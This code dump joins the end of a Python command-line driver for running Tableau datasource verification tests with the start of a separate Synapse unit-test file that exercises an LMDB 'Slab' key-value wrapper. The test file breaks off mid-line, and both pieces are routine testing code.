exprtests/standard/setup.calcs_data.txt) against the expected files. Can be used with the sql and tuple options.', required=False) action_group.add_argument('--generate', dest='action_generate', action='store_true', help='Generate logical query test files.', required=False) #Run tests. run_test_parser = subparsers.add_parser('run', help='Run tests.', parents=[run_test_common_parser], usage=run_usage_text) run_test_parser.add_argument('ds', help='Comma separated list of Datasource names or groups to test. See the \'list\' command.', nargs='+') run_test_parser.add_argument('--verify', dest='smoke_test', action='store_true', help='Verifies the connection to a data source against tests in your .ini file with SmokeTest = True.', required=False) # noqa: E501 run_test_parser.add_argument('--force-run', dest='force_run', action='store_true', help='Attempts to run the tests for a data source, even if its smoke tests fail.') run_test_parser.add_argument('--logical', '-q', dest='logical_only', help='Only run logical tests whose config file name matches the supplied string, or all if blank.', required=False, default=None, const='*', nargs='?') run_test_parser.add_argument('--expression', '-e', dest='expression_only', help='Only run expression tests whose config file name matches the suppled string, or all if blank.', required=False, default=None, const='*', nargs='?') #Run test pattern. run_test_pattern_parser = subparsers.add_parser('run-pattern', help='Run individual tests using a pattern.', parents=[run_test_common_parser], usage=run_pattern_usage_text) run_test_pattern_parser.add_argument('ds', help='Comma separated list of Datasource names or groups to test. See the \'list\' command.', nargs='+') run_test_group = run_test_pattern_parser.add_mutually_exclusive_group(required=True) run_test_group.add_argument('--exp', dest='expression_pattern', help='Only run expression tests whose name and path matches the supplied string. This is a glob pattern. Also you must set the tds-pattern to use when running the test.', required=False, default=None, const='', nargs='?') run_test_group.add_argument('--logp', dest='logical_pattern', help='Only run logical tests whose name and path matches the supplied string. this is a glob pattern. Also you must set the tds-pattern to use when running the test. Use a ? to replace the logical query config component of the test name.', required=False, default=None, const='', nargs='?') run_test_pattern_parser.add_argument('--tdp', dest='tds_pattern', help='The datasource tds pattern to use when running the test. See exp and logp arguments.', required=True, default=None, const='', nargs='?') run_test_pattern_parser.add_argument('--test-ex', dest='test_pattern_exclude', help='Exclude tests whose name matches the supplied string. This is a regular expression pattern. Can be used with exp and logp arguments. Also set the tds-pattern to use when running the test.', required=False, default=None, const='', nargs='?') #Run file. run_file_parser = subparsers.add_parser('run-file', help='Run tests from a file.', parents=[run_test_common_parser], usage=run_file_usage_text) run_file_parser.add_argument('run_file', help='Json file containing failed tests to run.') #Run Connectors Test run_connectors_test_parser = subparsers.add_parser('run-connectors-test', help='Run a connectors test using a file', parents=[run_test_common_parser], usage=run_connectors_test_usage_text) run_connectors_test_parser.add_argument('--conn-test', dest='conn_test', help='Name of the Connectors Test to run.', required=True) run_connectors_test_parser.add_argument('--conn-test-file', dest='conn_test_file', help='Path to the setup-expected file to run the connectors test', required=True) run_connectors_test_parser.add_argument('--conn-test-password-file', dest='conn_test_password_file', help='Path to the password file used for the ServerVersionTest') return parser def register_tdvt_dialect(): custom_dialect = csv.excel custom_dialect.lineterminator = '\n' custom_dialect.delimiter = ',' custom_dialect.strict = True custom_dialect.skipinitialspace = True csv.register_dialect('tdvt', custom_dialect) def check_if_custom_output_dir_exists(custom_output_dir: str) -> bool: return Path(custom_output_dir).is_dir() def return_logging_path(args: argparse.ArgumentParser) -> str: if hasattr(args, 'custom_output_dir'): if args.custom_output_dir is not None and check_if_custom_output_dir_exists(args.custom_output_dir): return os.path.join(args.custom_output_dir, 'tdvt_log_combined.txt') elif args.custom_output_dir is not None: sys.exit("The specified output directory doesn't exist: %s" % Path(args.custom_output_dir)) else: pass return 'tdvt.log_combined.txt' def init(): parser = create_parser() args = parser.parse_args() # Create logger. logging.basicConfig(filename=return_logging_path(args), level=logging.DEBUG, filemode='w', format='%(asctime)s %(message)s') logger = logging.getLogger() ch = logging.StreamHandler() if 'verbose' in args and args.verbose: # Log to console also. ch.setLevel(logging.DEBUG) else: args.verbose = False ch.setLevel(logging.WARNING) logger.addHandler(ch) logging.debug('TDVT version: ' + str(__version__)) logging.debug('TDVT Arguments: ' + str(args)) ds_reg = get_datasource_registry(sys.platform) configure_tabquery_path() register_tdvt_dialect() return parser, ds_reg, args def is_test(args): return args.command in ['run', 'run-pattern', 'run-file', 'run-connectors-test'] def active_thread_count(threads): active = 0 for t in threads: if t.is_alive(): active += 1 return active def test_runner(all_tests, test_queue, max_threads): for i in range(0, max_threads): worker = threading.Thread(target=do_test_queue_work, args=(i, test_queue)) worker.setDaemon(True) worker.start() test_queue.join() failed_tests = 0 skipped_tests = 0 disabled_tests = 0 total_tests = 0 for work in all_tests: if work.copy_files_and_cleanup(): print("Left temp dir: " + work.temp_dir) failed_tests += work.failed_tests if work.failed_tests else 0 skipped_tests += work.skipped_tests if work.skipped_tests else 0 disabled_tests += work.disabled_tests if work.disabled_tests else 0 total_tests += work.total_tests if work.total_tests else 0 TestOutputFiles.write_test_results_csv(work.test_config.custom_output_dir) return failed_tests, skipped_tests, disabled_tests, total_tests def run_tests_impl(tests: List[Tuple[TestSet, TestConfig]], max_threads: int, args) -> Optional[Tuple[int, int, int, int]]: if not tests: print("No tests found. Check arguments.") sys.exit() smoke_test_queue = queue.Queue() smoke_tests = [] test_queue = queue.Queue() all_work = [] lock = threading.Lock() for test_set, test_config in tests: runner = TestRunner(test_set, test_config, lock, args.verbose, len(all_work) + 1) if test_set.smoke_test: smoke_tests.append(runner) smoke_test_queue.put(runner) else: all_work.append(runner) logging.debug("smoke test queue size is: " + str(len(smoke_tests))) logging.debug("test queue size is: " + str(len(all_work))) require_smoke_test = args.command == 'run' and args.smoke_test force_run = args.command == 'run' and args.force_run if not smoke_tests: logging.warning("No smoke tests detected.") if require_smoke_test: sys.exit(1) else: logging.warning("Tests will run without verifying the data source connection.") if not all_work and not smoke_tests: sys.exit("No tests found. Check arguments.") failing_ds = set() failed_smoke_tests = 0 skipped_smoke_tests = 0 disabled_smoke_tests = 0 total_smoke_tests = 0 smoke_tests_run = 0 absolute_start_time = time.time() smoke_test_run_time = 0 if smoke_tests: smoke_test_threads = min(len(smoke_tests), max_threads) print("Starting smoke tests. Creating", str(smoke_test_threads), "worker threads.\n") failed_smoke_tests, skipped_smoke_tests, disabled_smoke_tests, total_smoke_tests = test_runner( smoke_tests, smoke_test_queue, smoke_test_threads) smoke_tests_run = total_smoke_tests - disabled_smoke_tests print("{} smoke test(s) ran. {} smoke tests disabled.".format(smoke_tests_run, disabled_smoke_tests)) smoke_test_run_time = round(time.time() - absolute_start_time, 2) print("Smoke tests ran in {} seconds.".format(smoke_test_run_time)) if failed_smoke_tests > 0: print("{} smoke test(s) failed. Please check logs for information.".format(failed_smoke_tests)) failing_ds = set(item.test_set.ds_name for item in smoke_tests if item.failed_tests > 0) if require_smoke_test: print("\nSmoke tests failed, exiting.") sys.exit(1) if require_smoke_test: print("\nSmoke tests finished. Exiting.") sys.exit(0) if failing_ds and not force_run: print("Tests for the following data source(s) will not be run: {}".format(', '.join(failing_ds))) final_work = [] for item in all_work: if not force_run: if item.test_set.ds_name in failing_ds: item.test_set.test_is_skipped = True final_work.append(item) test_queue.put(item) print("\nStarting tests. Creating " + str(max_threads) + " worker threads.") start_time = time.time() failed_tests, skipped_tests, disabled_tests, total_tests = test_runner(final_work, test_queue, max_threads) failed_tests += failed_smoke_tests skipped_tests += skipped_smoke_tests disabled_tests += disabled_smoke_tests total_tests += total_smoke_tests total_tests_run = total_tests - disabled_tests - skipped_tests total_passed_tests = total_tests_run - failed_tests now_time = time.time() main_test_time = round(now_time - start_time, 2) total_run_time = round(now_time - absolute_start_time, 2) print('\nTest Count: {} tests'.format(total_tests)) print("\tPassed tests: {}".format(total_passed_tests)) print("\tFailed tests: " + str(failed_tests)) print("\tTests run: " + str(total_tests_run)) print("\tDisabled tests: " + str(disabled_tests)) print("\tSkipped tests: " + str(skipped_tests)) print("\nOther information:") print("\tSmoke test time: {} seconds".format(smoke_test_run_time)) print("\tMain test time: {} seconds".format(main_test_time)) print("\tTotal time: {} seconds".format(total_run_time)) return failed_tests, skipped_tests, disabled_tests, total_tests def get_ds_list(ds): if not ds: return [] ds_list = ds[0].split(',') ds_list = [x.strip() for x in ds_list] return ds_list def run_desired_tests(args, ds_registry): generate_files(ds_registry, False) ds_to_run = ds_registry.get_datasources(get_ds_list(args.ds)) if not ds_to_run: sys.exit(0) if len(ds_to_run) > 0: directory_to_delete = os.getcwd() if args.custom_output_dir: directory_to_delete = args.custom_output_dir delete_output_files(directory_to_delete) if not tabquerycli_exists(): print("Could not find Tabquerycli.") sys.exit(0) max_threads = get_level_of_parallelization(args) test_sets: List[TestSet] = [] for ds in ds_to_run: ds_info = ds_registry.get_datasource_info(ds) if not ds_info: continue print("Testing " + ds) max_threads_per_datasource = ds_info.run_time_config.maxthread; # if has multi datasource to run, then max_threads_per_datasource can not apply. if max_threads_per_datasource > 0: print("thread setting in " + ds + ".ini = " + str(max_threads_per_datasource)) if len(ds_to_run) == 1: max_threads = max_threads_per_datasource else: print("Setting cannot apply since you are running multiple datasources.") suite = ds if args.command == 'run-pattern': single_test, single_test_config = enqueue_single_test(args, ds_info, suite) if single_test: test_sets.extend([(single_test, single_test_config)]) else: test_sets.extend(enqueue_tests(ds_info, args, suite)) failed_tests, skipped_tests, disabled_tests, total_tests = run_tests_impl(test_sets, max_threads, args) return failed_tests def run_connectors_test(args): if not tabquerycli_exists(): print("Could not find Tabquerycli.") sys.exit(0) if not args.conn_test or not args.conn_test_file: print("Missing arguments. Not running Connectors Test") sys.exit(0) if args.conn_test_password_file: print(run_connectors_test_core( args.conn_test, args.conn_test_file, args.conn_test_password_file)) else: print(run_connectors_test_core( args.conn_test, args.conn_test_file)) def run_file(run_file: Path, output_dir: Path, threads: int, args) -> int: """Rerun all the failed tests listed in the json file.""" logging.debug("Running failed tests from : " + str(run_file)) # See if we need to generate test setup files. root_directory = get_root_dir() failed_tests, skipped_tests, disabled_tests, total_tests = \ run_tests_impl(enqueue_failed_tests(run_file, root_directory, args), threads, args) # This can be a retry-step. return 0 def run_generate(ds_registry): start_time = time.time() generate_files(ds_registry, True) end_time = time.time() - start_time print("Done: " + str(end_time)) def main(): parser, ds_registry, args = init() if args.command == 'action': if args.setup: print("Creating setup files...") create_test_environment() sys.exit(0) elif args.add_ds: add_datasource(args.add_ds, ds_registry) generate_files(ds_registry, True) sys.exit(0) elif args.action_generate: run_generate(ds_registry) sys.exit(0) elif is_test(args): if args.generate: run_generate(ds_registry) # It's ok to call generate and then run some tests, so don't exit here. if args.command == 'run-file': output_dir = os.getcwd() max_threads = get_level_of_parallelization(args) sys.exit(run_file(Path(args.run_file), Path(output_dir), max_threads, args)) if args.command == 'run-connectors-test': run_connectors_test(args) sys.exit(0) error_code = run_desired_tests(args, ds_registry) sys.exit(error_code) elif args.command == 'action' and args.diff: tdvt_invocation = TdvtInvocation(from_args=args) run_diff(tdvt_invocation, args.diff) sys.exit(0) elif args.command == 'list-logical-configs': print_logical_configurations(ds_registry, args.list_logical_configs) sys.exit(0) elif args.command == 'list': print_configurations(ds_registry, [args.list_ds], args.verbose) sys.exit(0) logging.error("Could not interpret arguments. Nothing done.") parser.print_help() sys.exit(-1) if __name__ == '__main__': main()
test_lib_lmdbslab.py
import os import asyncio import pathlib import multiprocessing import synapse.exc as s_exc import synapse.glob as s_glob import synapse.common as s_common from unittest.mock import patch import synapse.lib.base as s_base import synapse.lib.const as s_const import synapse.lib.lmdbslab as s_lmdbslab import synapse.lib.thisplat as s_thisplat import synapse.tests.utils as s_t_utils from synapse.tests.utils import alist def getFileMapCount(filename): filename = str(filename) count = 0 with open(f'/proc/{os.getpid()}/maps') as maps: for line in maps: if len(line) < 50: continue if line.rstrip().endswith(filename): count += 1 return count class LmdbSlabTest(s_t_utils.SynTest): async def test_lmdbslab_scankeys(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: testdb = slab.initdb('test') dupsdb = slab.initdb('dups', dupsort=True) editdb = slab.initdb('edit') self.eq((), list(slab.scanKeys(db=testdb))) self.eq((), list(slab.scanByDupsBack(b'asdf', db=dupsdb))) slab.put(b'hehe', b'haha', db=dupsdb) slab.put(b'hehe', b'lolz', db=dupsdb) slab.put(b'hoho', b'asdf', db=dupsdb) self.eq((), list(slab.scanByDupsBack(b'h\x00', db=dupsdb))) slab.put(b'hehe', b'haha', db=testdb) slab.put(b'hoho', b'haha', db=testdb) testgenr = slab.scanKeys(db=testdb) dupsgenr = slab.scanKeys(db=dupsdb) testlist = [next(testgenr)] dupslist = [next(dupsgenr)] slab.put(b'derp', b'derp', db=editdb) # bump them both... await s_lmdbslab.Slab.syncLoopOnce() testlist.extend(testgenr) dupslist.extend(dupsgenr) self.eq(testlist, (b'hehe', b'hoho')) self.eq(dupslist, (b'hehe', b'hehe', b'hoho')) # now lets delete the key we're on testgenr = slab.scanKeys(db=testdb) dupsgenr = slab.scanKeys(db=testdb) testlist = [next(testgenr)] dupslist = [next(dupsgenr)] slab.delete(b'hehe', db=testdb) for lkey, lval in slab.scanByDups(b'hehe', db=dupsdb): slab.delete(lkey, lval, db=dupsdb) await s_lmdbslab.Slab.syncLoopOnce() testlist.extend(testgenr) dupslist.extend(dupsgenr) self.eq(testlist, (b'hehe', b'hoho')) self.eq(dupslist, (b'hehe', b'hoho')) async def test_lmdbslab_base(self): with self.getTestDir() as dirn0, self.getTestDir(startdir=dirn0) as dirn: path = os.path.join(dirn, 'test.lmdb') await self.asyncraises(s_exc.BadArg, s_lmdbslab.Slab.anit(path, map_size=None)) slab = await s_lmdbslab.Slab.anit(path, map_size=1000000, lockmemory=True) slabs = slab.getSlabsInDir(dirn) self.eq(slabs, [slab]) slabs = slab.getSlabsInDir(pathlib.Path(dirn) / 'nowhere') self.len(0, slabs) slabs = slab.getSlabsInDir(pathlib.Path(dirn).parent) self.ge(1, len(slabs)) foo = slab.initdb('foo') baz = slab.initdb('baz') bar = slab.initdb('bar', dupsort=True) empty = slab.initdb('empty') barfixed = slab.initdb('barfixed', dupsort=True, dupfixed=True) slab.put(b'\x00\x01', b'hehe', db=foo) slab.put(b'\x00\x02', b'haha', db=foo) slab.put(b'\x01\x03', b'hoho', db=foo) for db in (bar, barfixed): slab.put(b'\x00\x01', b'hehe', dupdata=True, db=db) slab.put(b'\x00\x02', b'haha', dupdata=True, db=db) slab.put(b'\x00\x02', b'visi', dupdata=True, db=db) slab.put(b'\x00\x02', b'zomg', dupdata=True, db=db) slab.put(b'\x00\x03', b'hoho', dupdata=True, db=db) slab.put(b'\x00\x01', b'hehe', db=baz) slab.put(b'\xff', b'haha', db=baz) slab.put(b'\xff\xff', b'hoho', append=True, db=baz) # Should succeed slab.put(b'\xaa\xff', b'hoho', append=True, db=baz) # Should fail (not the last key) self.true(slab.dirty) self.true(slab.forcecommit()) self.false(slab.dirty) self.eq(b'\x00\x01', slab.firstkey(db=foo)) self.none(slab.firstkey(db=empty)) self.eq(b'\x01\x03', slab.lastkey(db=foo)) self.none(slab.lastkey(db=empty)) self.eq(b'hehe', slab.get(b'\x00\x01', db=foo)) items = list(slab.scanByPref(b'\x00', db=foo)) self.eq(items, ((b'\x00\x01', b'hehe'), (b'\x00\x02', b'haha'))) items = list(slab.scanByRange(b'\x00\x02', b'\x01\x03', db=foo)) self.eq(items, ((b'\x00\x02', b'haha'), (b'\x01\x03', b'hoho'))) for db in (bar, barfixed): items = list(slab.scanByDups(b'\x00\x02', db=db)) self.eq(items, ((b'\x00\x02', b'haha'), (b'\x00\x02', b'visi'), (b'\x00\x02', b'zomg'))) items = list(slab.scanByDups(b'\x00\x04', db=db)) self.eq(items, ()) # Test scanByPref startkey, startvalu items = list(slab.scanByPref(b'\x00', db=bar)) alld = [(b'\x00\x01', b'hehe'), (b'\x00\x02', b'haha'), (b'\x00\x02', b'visi'), (b'\x00\x02', b'zomg'), (b'\x00\x03', b'hoho')] self.eq(alld, items) items = list(slab.scanByPref(b'\x00', startkey=b'\x02', db=bar)) self.eq(alld[1:], items) items = list(slab.scanByPref(b'\x00', startkey=b'\x02', startvalu=b'vaaa', db=bar)) self.eq(alld[2:], items) self.true(slab.prefexists(b'\x00', db=baz)) self.true(slab.prefexists(b'\x00\x01', db=baz)) self.false(slab.prefexists(b'\x00\x03', db=baz)) self.false(slab.prefexists(b'\x02', db=baz)) self.true(slab.prefexists(b'\xff\xff', db=baz)) self.false(slab.prefexists(b'\xff\xff', db=foo)) self.false(slab.prefexists(b'\xaa\xff', db=baz)) self.true(slab.rangeexists(b'\x00', b'\x01', db=baz)) self.true(slab.rangeexists(b'\x00\x00', b'\x00\x04', db=baz)) self.false(slab.rangeexists(b'\x00\x04', b'\x01', db=baz)) self.true(slab.rangeexists(b'\x05', None, db=baz)) self.false(slab.rangeexists(b'\xfa', b'\xfc', db=baz)) self.false(slab.rangeexists(b'\x00\x00', b'\x00\x00', db=foo)) self.false(slab.rangeexists(b'\x01\x04', b'\x01\x05', db=foo)) # backwards scan tests items = list(slab.scanByRangeBack(b'\x00', db=foo)) self.eq(items, ()) items = list(slab.scanByPrefBack(b'\x00', db=foo)) self.eq(items, ((b'\x00\x02', b'haha'), (b'\x00\x01', b'hehe'))) items = list(slab.scanByPrefBack(b'\x01', db=foo)) self.eq(items, ((b'\x01\x03', b'hoho'),)) items = list(slab.scanByPrefBack(b'\xff', db=baz)) self.eq(items, ((b'\xff\xff', b'hoho'), (b'\xff', b'haha'))) items = list(slab.scanByRangeBack(b'\x00\x03', db=foo)) self.eq(items, ((b'\x00\x02', b'haha'), (b'\x00\x01', b'hehe'))) items = list(slab.scanByRangeBack(b'\x00\x03', b'\x00\x02', db=foo)) self.eq(items, ((b'\x00\x02', b'haha'), )) items = list(slab.scanByRangeBack(b'\x01\x03', b'\x00\x02', db=foo)) self.eq(items, ((b'\x01\x03', b'hoho'), (b'\x00\x02', b'haha'))) items = list(slab.scanByRangeBack(b'\x01\x05', b'\x00\x02', db=foo)) self.eq(items, ((b'\x01\x03', b'hoho'), (b'\x00\x02', b'haha'))) for db in (bar, barfixed): items = list(slab.scanByDupsBack(b'\x00\x02', db=db)) self.eq(items, ((b'\x00\x02', b'zomg'), (b'\x00\x02', b'visi'), (b'\x00\x02', b'haha'))) items = list(slab.scanByDupsBack(b'\x00\x04', db=db)) self.eq(items, ()) with s_lmdbslab.ScanBack(slab, db=db) as scan: scan.first() self.eq(scan.atitem, (b'\x00\x03', b'hoho')) items = list(slab.scanByFullBack(db=foo)) self.eq(items, ((b'\x01\x03', b'hoho'), (b'\x00\x02', b'haha'), (b'\x00\x01', b'hehe'))) with s_lmdbslab.ScanBack(slab, db=foo) as scan: scan.set_key(b'\x00\x02') self.eq(scan.atitem, (b'\x00\x02', b'haha')) # test scans on emptydb emptydb = slab.initdb('empty') items = list(slab.scanByPrefBack(b'\x00\x01', db=emptydb)) self.eq(items, ()) items = list(slab.scanByPrefBack(b'\xff\xff', db=emptydb)) self.eq(items, ()) items = list(slab.scanByRangeBack(b'\x00\x01', db=emptydb)) self.eq(items, ()) items = list(slab.scanByFullBack(db=emptydb)) self.eq(items, ()) # ok... lets start a scan and then rip out the xact... scan = slab.scanByPref(b'\x00', db=foo) self.eq((b'\x00\x01', b'hehe'), next(scan)) slab.forcecommit() items = list(scan) self.eq(items, ((b'\x00\x02', b'haha'),)) for db in (bar, barfixed): # to test iternext_dup, lets do the same with a dup scan scan = slab.scanByDups(b'\x00\x02', db=db) self.eq((b'\x00\x02', b'haha'), next(scan)) slab.forcecommit() items = list(scan) self.eq(items, ((b'\x00\x02', b'visi'), (b'\x00\x02', b'zomg'))) # do the same with backwards scanning scan = slab.scanByRangeBack(b'\x01\x03', db=foo) self.eq((b'\x01\x03', b'hoho'), next(scan)) slab.forcecommit() items = list(scan) self.eq(items, ((b'\x00\x02', b'haha'), (b'\x00\x01', b'hehe'))) # Copy a database inside the same slab self.raises(s_exc.DataAlreadyExists, slab.copydb, foo, slab, 'bar') self.eq(3, slab.copydb(foo, slab, 'foo2')) # Increase the size of the new source DB to trigger a resize on the next copydb foo2 = slab.initdb('foo2') slab.put(b'bigkey', b'x' * 1024 * 1024, dupdata=True, db=foo2) vardict = {} def progfunc(count): vardict['prog'] = count # Copy a database to a different slab path2 = os.path.join(dirn, 'test2.lmdb') async with await s_lmdbslab.Slab.anit(path2, map_size=512 * 1024) as slab2: with patch('synapse.lib.lmdbslab.PROGRESS_PERIOD', 2): self.eq(4, slab.copydb(foo2, slab2, destdbname='foo2', progresscb=progfunc)) self.gt(vardict.get('prog', 0), 0) # Test slab.drop and slab.dbexists self.true(slab.dbexists('foo2')) slab.dropdb('foo2') self.false(slab.dbexists('foo2')) self.none(slab.dropdb('notadb')) # start a scan and then fini the whole db... scan = slab.scanByPref(b'\x00', db=foo) self.eq((b'\x00\x01', b'hehe'), next(scan)) scanback = slab.scanByPrefBack(b'\x00', db=foo) self.eq((b'\x00\x02', b'haha'), next(scanback)) await slab.fini() self.raises(s_exc.IsFini, next, scan) self.raises(s_exc.IsFini, next, scanback) slabs = s_lmdbslab.Slab.getSlabsInDir(dirn) self.len(0, slabs) # Ensure that our envar override for memory locking is acknowledged with self.setTstEnvars(SYN_LOCKMEM_DISABLE='1'): slab = await s_lmdbslab.Slab.anit(path, map_size=1000000, lockmemory=True) self.false(slab.lockmemory) self.none(slab.memlocktask) async def test_lmdbslab_max_replay(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') my_maxlen = 100 # Make sure that we don't confuse the periodic commit with the max replay log commit with patch('synapse.lib.lmdbslab.Slab.COMMIT_PERIOD', 10): async with await s_lmdbslab.Slab.anit(path, map_size=100000, max_replay_log=my_maxlen) as slab: foo = slab.initdb('foo', dupsort=True) byts = b'\x00' * 256 waiter = s_base.Waiter(slab, 1, 'commit') for i in range(150): slab.put(b'\xff\xff\xff\xff' + s_common.guid(i).encode('utf8'), byts, db=foo) self.true(slab.syncevnt.is_set()) retn = await waiter.wait(timeout=1) self.nn(retn) self.len(1, retn) async def test_lmdbslab_maxsize(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') my_maxsize = 400000 async with await s_lmdbslab.Slab.anit(path, map_size=100000, maxsize=my_maxsize) as slab: foo = slab.initdb('foo', dupsort=True) byts = b'\x00' * 256 # Trigger an out-of-space with self.raises(s_exc.DbOutOfSpace): for i in range(400): slab.put(b'\xff\xff\xff\xff' + s_common.guid(i).encode('utf8'), byts, db=foo) # lets ensure our maxsize persisted and it caps the mapsize async with await s_lmdbslab.Slab.anit(path, map_size=100000, readonly=True) as newdb: self.eq(my_maxsize, newdb.mapsize) self.eq(my_maxsize, newdb.maxsize) async def test_lmdbslab_scanbump(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=100000, growsize=10000) as slab: foo = slab.initdb('foo', dupsort=True) foo2 = slab.initdb('foo2', dupsort=False) bar = slab.initdb('bar', dupsort=True) multikey = b'\xff\xff\xff\xfe' + s_common.guid(2000).encode('utf8') byts = b'\x00' * 256 for i in range(10): slab.put(multikey, s_common.int64en(i), dupdata=True, db=foo) slab.put(s_common.int64en(i), byts, db=foo2) iter1 = slab.scanByDups(multikey, db=foo) iter2 = slab.scanByFull(db=foo2) for _ in range(6): next(iter1) next(iter2) iterback = slab.scanByDupsBack(multikey, db=foo) next(iterback) iterback2 = slab.scanByFullBack(db=foo2) next(iterback2) iterback3 = slab.scanByDupsBack(multikey, db=foo) iterback4 = slab.scanByFullBack(db=foo2) for _ in range(8): next(iterback3) next(iterback4) iterback5 = slab.scanByDupsBack(multikey, db=foo) next(iterback5) iterback6 = slab.scanByFullBack(db=foo2) next(iterback6) # Delete keys to cause set_range in iternext to fail for i in range(5): slab.delete(multikey, s_common.int64en(i + 5), db=foo) slab.delete(s_common.int64en(i + 5), db=foo2) slab.forcecommit() self.raises(StopIteration, next, iter1) self.raises(StopIteration, next, iter2) self.len(5, iterback) self.len(5, iterback2) # Delete all the keys in front of a backwards scan for i in range(4): slab.delete(multikey, s_common.int64en(i), db=foo) slab.delete(s_common.int64en(i), db=foo2) self.raises(StopIteration, next, iterback3) self.raises(StopIteration, next, iterback4) # Delete remaining keys so curs.last fails slab.delete(multikey, s_common.int64en(4), db=foo) slab.delete(s_common.int64en(4), db=foo2) self.raises(StopIteration, next, iterback5) self.raises(StopIteration, next, iterback6) slab.put(b'\x00', b'asdf', dupdata=True, db=bar) slab.put(b'\x01', b'qwer', dupdata=True, db=bar) iterback = slab.scanByRangeBack(b'\x00', db=bar) self.eq((b'\x00', b'asdf'), next(iterback)) slab.delete(b'\x00', b'asdf', db=bar) slab.forcecommit() self.raises(StopIteration, next, iterback) # range scan where we delete the entry we're on # and it's the only thing in the slab. iterrange = slab.scanByRange(b'\x00', db=bar) self.eq((b'\x01', b'qwer'), next(iterrange)) slab.delete(b'\x01', b'qwer', db=bar) slab.forcecommit() self.raises(StopIteration, next, iterrange) async def test_lmdbslab_scanbump2(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=100000, growsize=10000) as slab: dupydb = slab.initdb('dup', dupsort=True) dupndb = slab.initdb('ndup', dupsort=False) for db in (dupndb, dupydb): slab.put(b'1', b'', db=db) slab.put(b'2', b'', db=db) slab.put(b'3', b'', db=db) # forwards, bump after 2nd entry it = slab.scanByFull(db=db) self.eq((b'1', b''), next(it)) self.eq((b'2', b''), next(it)) slab.forcecommit() self.eq((b'3', b''), next(it)) self.raises(StopIteration, next, it) # backwards, bump after 2nd entry it = slab.scanByFullBack(db=db) self.eq((b'3', b''), next(it)) self.eq((b'2', b''), next(it)) slab.forcecommit() self.eq((b'1', b''), next(it)) self.raises(StopIteration, next, it) # forwards, bump/delete after 2nd entry it = slab.scanByFull(db=db) self.eq((b'1', b''), next(it)) self.eq((b'2', b''), next(it)) slab.forcecommit() slab.delete(b'2', db=db) self.eq((b'3', b''), next(it)) self.raises(StopIteration, next, it) it = slab.scanByFull(db=db) self.eq((b'1', b''), next(it)) slab.forcecommit() slab.delete(b'3', db=db) self.raises(StopIteration, next, it) slab.put(b'2', b'', db=db) slab.put(b'3', b'', db=db) # backwards, bump/delete after 2nd entry it = slab.scanByFullBack(db=db) self.eq((b'3', b''), next(it)) self.eq((b'2', b''), next(it)) slab.forcecommit() slab.delete(b'2', db=db) self.eq((b'1', b''), next(it)) self.raises(StopIteration, next, it) it = slab.scanByFullBack(db=db) slab.forcecommit() slab.delete(b'3', db=db) self.eq((b'1', b''), next(it)) self.raises(StopIteration, next, it) slab.delete(b'1', db=dupydb) slab.delete(b'2', db=dupydb) slab.delete(b'3', db=dupydb) slab.put(b'0', b'', db=dupydb) slab.put(b'1', b'1', db=dupydb) slab.put(b'1', b'2', db=dupydb) slab.put(b'1', b'3', db=dupydb) slab.put(b'2', b'', db=dupydb) # dupsort=yes, forwards, same keys, bump after 2nd entry it = slab.scanByFull(db=dupydb) self.eq((b'0', b''), next(it)) self.eq((b'1', b'1'), next(it)) self.eq((b'1', b'2'), next(it)) slab.forcecommit() self.eq((b'1', b'3'), next(it)) self.eq((b'2', b''), next(it)) self.raises(StopIteration, next, it) # forwards, bump/delete after 2nd entry it = slab.scanByFull(db=dupydb) self.eq((b'0', b''), next(it)) self.eq((b'1', b'1'), next(it)) slab.forcecommit() slab.delete(b'1', val=b'2', db=dupydb) self.eq((b'1', b'3'), next(it)) self.eq((b'2', b''), next(it)) self.raises(StopIteration, next, it) it = slab.scanByFull(db=dupydb) self.eq((b'0', b''), next(it)) self.eq((b'1', b'1'), next(it)) self.eq((b'1', b'3'), next(it)) slab.forcecommit() slab.delete(b'1', val=b'3', db=dupydb) self.eq((b'2', b''), next(it)) self.raises(StopIteration, next, it) slab.put(b'1', b'2', db=dupydb) slab.put(b'1', b'3', db=dupydb) # dupsort=yes, backwards, same keys, bump after 2nd entry it = slab.scanByFullBack(db=dupydb) self.eq((b'2', b''), next(it)) self.eq((b'1', b'3'), next(it)) self.eq((b'1', b'2'), next(it)) slab.forcecommit() self.eq((b'1', b'1'), next(it)) self.eq((b'0', b''), next(it)) self.raises(StopIteration, next, it) # dupsort=yes, backwards, same keys, bump/delete after 2nd entry it = slab.scanByFullBack(db=dupydb) self.eq((b'2', b''), next(it)) self.eq((b'1', b'3'), next(it)) self.eq((b'1', b'2'), next(it)) slab.forcecommit() slab.delete(b'1', val=b'2', db=dupndb) self.eq((b'1', b'1'), next(it)) self.eq((b'0', b''), next(it)) self.raises(StopIteration, next, it) slab.put(b'1', b'2', db=dupydb) slab.put(b'1', b'3', db=dupydb) # single key, forwards, bump after 2nd entry it = slab.scanByDups(db=dupydb, lkey=b'1') self.eq((b'1', b'1'), next(it)) self.eq((b'1', b'2'), next(it)) slab.forcecommit() self.eq((b'1', b'3'), next(it)) self.raises(StopIteration, next, it) # single key, forwards, bump/delete after 2nd entry it = slab.scanByDups(db=dupydb, lkey=b'1') self.eq((b'1', b'1'), next(it)) slab.forcecommit() slab.delete(b'1', val=b'2', db=dupydb) self.eq((b'1', b'3'), next(it)) self.raises(StopIteration, next, it) it = slab.scanByDups(db=dupydb, lkey=b'1') self.eq((b'1', b'1'), next(it)) slab.forcecommit() slab.delete(b'1', val=b'3', db=dupydb) self.raises(StopIteration, next, it) slab.put(b'1', b'2', db=dupydb) slab.put(b'1', b'3', db=dupydb) # dupsort=yes, backwards, same keys, bump after 2nd entry it = slab.scanByDupsBack(db=dupydb, lkey=b'1') self.eq((b'1', b'3'), next(it)) self.eq((b'1', b'2'), next(it)) slab.forcecommit() self.eq((b'1', b'1'), next(it)) self.raises(StopIteration, next, it) # dupsort=yes, backwards, same keys, bump/delete after 2nd entry it = slab.scanByDupsBack(db=dupydb, lkey=b'1') self.eq((b'1', b'3'), next(it)) self.eq((b'1', b'2'), next(it)) slab.forcecommit() slab.delete(b'1', 